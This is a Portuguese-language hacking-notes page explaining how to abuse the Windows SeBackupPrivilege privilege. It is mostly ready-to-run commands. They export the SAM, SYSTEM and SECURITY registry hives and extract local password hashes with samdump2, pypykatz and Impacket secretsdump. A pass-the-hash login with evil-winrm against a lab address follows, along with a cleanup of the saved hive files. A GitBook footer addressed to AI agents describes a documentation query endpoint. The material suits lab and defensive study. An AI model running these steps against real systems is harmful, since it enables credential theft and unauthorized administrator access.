> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md).

# SeBackupPrivilege

`SeBackupPrivilege` permite que arquivos protegidos sejam lidos em um contexto de backup. Em um laboratório, esse privilégio pode ser usado para copiar `SAM` e `SYSTEM`, em seguida, extrair hashes de contas locais offline.

## Detecção

```powershell
whoami /priv
```

<figure><img src="/files/d378d7d506306e3d5686075c3f8be85ed29ec475" alt="SeBackupPrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## Carregue os módulos

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege>" %}

```powershell
faça upload de SeBackupPrivilegeCmdLets.dll
faça upload de SeBackupPrivilegeUtils.dll
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/5e26f75af4e7482c67221324e492c41157f18f17" alt="SeBackupPrivilege modules loaded"><figcaption></figcaption></figure>

## Exporte SAM e SYSTEM

```cmd
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
```

<figure><img src="/files/5ecda76e57eea96ce3dd4faf3f0956bd50433832" alt="Exporting SAM and SYSTEM registry hives"><figcaption></figcaption></figure>

Baixe os arquivos:

```powershell
baixe sam
baixe system
```

<figure><img src="/files/6b6c60bc47c307e3f9e294fe4209c1b85fab9049" alt="Downloading exported registry hives"><figcaption></figcaption></figure>

## Extraia os hashes

```bash
samdump2 system sam
```

<figure><img src="/files/1a695ca5557004fcefdeedf1a5a6f1059eb63da0" alt="Hash extraction with samdump2"><figcaption></figcaption></figure>

Alternativa:

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/c0252038a379363648217910ae59dc9152b65a49" alt="Hash extraction with pypykatz"><figcaption></figcaption></figure>

## Valide com Pass-the-Hash

```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/15273b5bdcc6382910e5be1ff256dfbf16030f92" alt="Pass-the-Hash validation with Evil-WinRM"><figcaption></figcaption></figure>

## Pontos-chave

* `SeBackupPrivilege` é sensível mesmo sem filiação direta ao grupo de administradores locais.
* Exportar `SECURITY` também quando você quiser segredos do LSA ou material de domínio em cache.
* Monitore exportações de hives do registro e acesso a arquivos de sistema protegidos.

## Extração com Impacket

O Impacket pode analisar os hives salvos offline:

```cmd
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## Limpeza

```cmd
del C:\Windows\Temp\sam.save
del C:\Windows\Temp\system.save
del C:\Windows\Temp\security.save
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
